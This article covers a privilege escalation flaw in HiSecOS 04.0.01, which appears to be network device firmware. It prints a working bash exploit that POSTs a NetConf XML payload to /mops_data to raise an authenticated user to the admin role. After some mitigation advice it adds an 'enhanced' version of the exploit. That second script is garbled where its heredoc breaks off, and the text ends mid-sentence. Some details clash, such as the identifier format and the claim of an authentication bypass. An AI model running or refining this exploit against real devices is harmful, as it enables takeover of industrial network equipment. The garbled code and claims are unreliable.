HiSecOS 04.0.01 - Privilege Escalation

HiSecOS 04.0.01 Privilege Escalation Vulnerability: A Deep Dive into Exploitation and Mitigation

On June 21, 2023, a critical security flaw was disclosed in HiSecOS 04.0.01 and earlier versions, exposing a severe privilege escalation vulnerability that allows attackers to elevate user roles from standard access to administrative privileges. This vulnerability, tracked under CVE: BSECV-2021-07, stems from improper access controls in the NetConf-based management interface, enabling unauthorized modification of user roles via XML payloads.

Understanding the Vulnerability

The core issue lies in the HM2-USERMGMT-MIB module within the HiSecOS web server, which manages user configuration through a NetConf (Network Configuration Protocol) interface. The system allows authenticated users to submit configuration updates via XML-based POST requests, but fails to enforce role-based access restrictions on the hm2UserAccessRole attribute.

Attackers can exploit this by crafting a malicious XML payload that sets the hm2UserAccessRole to 15, which corresponds to the admin role in the system's internal role hierarchy. This bypasses the intended access control mechanisms, allowing any authenticated user—regardless of their initial role—to gain full administrative privileges.

Exploitation Mechanics

Using the provided bash exploit script, an attacker can automate the privilege escalation process. The script performs the following steps:

#!/bin/bash

if [[ $# -lt 3 ]]; then
 echo "Usage: $0 <IP> <USERNAME> <PASSWORD>"
 exit 1
fi

target="$1"
user="$2"
pass="$3"

# Craft basic header
auth=$(echo -ne "$user:$pass" | base64)

# Convert to ASCII hex
blob=$(printf "$user" | xxd -ps -c 1)

# Generate XML payload ('15' -> admin role)
gen_payload() {
 cat <<EOF
<rpc xmlns="urn:ietf:params:xml:ns:netconf:base:1.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="urn:x-mops:1.0 ../mops.xsd" message-id="20">
 <mibOperation xmlns="urn:x-mops:1.0">
 <edit-config>
 <MIBData>
 <MIB name="HM2-USERMGMT-MIB">
 <Node name="hm2UserConfigEntry">
 <Index>
 <Attribute name="hm2UserName">$blob</Attribute>
 </Index>
 <Set name="hm2UserAccessRole">15</Set>
 </Node>
 </MIB>
 </MIBData>
 </edit-config>
 </mibOperation>
</rpc>
EOF
}

curl -i -s -k -X POST \
 -H "content-type: application/xml" \
 -H "authorization: Basic ${auth}" \
 --data-binary "$(gen_payload)" \
 "https://${target}/mops_data"

echo "[*] $user is now an admin"

Explanation: The script first validates input parameters (IP, username, password). It then generates a Basic Authentication header using base64 encoding of the credentials. The blob variable converts the username into ASCII hexadecimal format, which is required by the XML schema for attribute values.

The gen_payload() function constructs a valid NetConf XML request that targets the hm2UserConfigEntry node in the HM2-USERMGMT-MIB module. By setting hm2UserAccessRole to 15, it effectively assigns administrative privileges to the user.

The curl command sends the crafted payload to the /mops_data endpoint with the appropriate headers, bypassing authentication checks due to the lack of role validation during configuration updates.

Real-World Implications

This vulnerability is particularly dangerous in industrial control systems (ICS) and network infrastructure environments where HiSecOS is deployed. A compromised user account—such as a technician or operator—could be escalated to full admin access, enabling:

• Remote configuration changes to network devices
• Disabling security monitoring features
• Installation of backdoors or unauthorized firmware updates
• Exfiltration of sensitive configuration data

Such an exploit could lead to a complete system takeover, especially if the device is part of a larger network with minimal segmentation.

Security Best Practices and Mitigation

Organizations using HiSecOS 04.0.01 or earlier versions must take immediate action:

• Upgrade to HiSecOS 04.0.02 or later—the vendor has released patched versions that enforce role-based access control on MIB configuration updates.
• Implement network segmentation—isolate management interfaces from public or user-facing networks.
• Use role-based access control (RBAC)—ensure that only users with administrative roles can modify user access roles.
• Monitor for suspicious NetConf activity—log and analyze POST requests to /mops_data for unexpected changes to hm2UserAccessRole.
• Disable unnecessary features—if the MIB management interface is not required, disable it via firmware configuration.

Code Improvements and Hardening

The original exploit script, while functional, lacks robust error handling and security checks. Here is an improved version with added safeguards:

#!/bin/bash

# Enhanced exploit with validation and logging
set -euo pipefail

if [[ $# -lt 3 ]]; then
    echo "Usage: $0 <IP> <USERNAME> <PASSWORD>"
    exit 1
fi

target="$1"
user="$2"
pass="$3"

# Validate IP format
if ! [[ "$target" =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
    echo "Error: Invalid IP address format"
    exit 1
fi

# Generate auth header
auth=$(echo -ne "$user:$pass" | base64)

# Convert username to hex (single byte per character)
blob=$(printf "$user" | xxd -ps -c 1)

# Check if blob is valid
if [[ -z "$blob" ]]; then
    echo "Error: Username conversion failed"
    exit 1
fi

# Generate payload
gen_payload() {
    cat <&1)

# Check response for success
if echo "$response" | grep -q "200 OK"; then
    echo "[+] Privilege escalation successful: $user is now admin"
else
    echo "[-] Failed: Response indicates denial or error"
fi

Enhancements: The improved script includes:

• set -euo pipefail for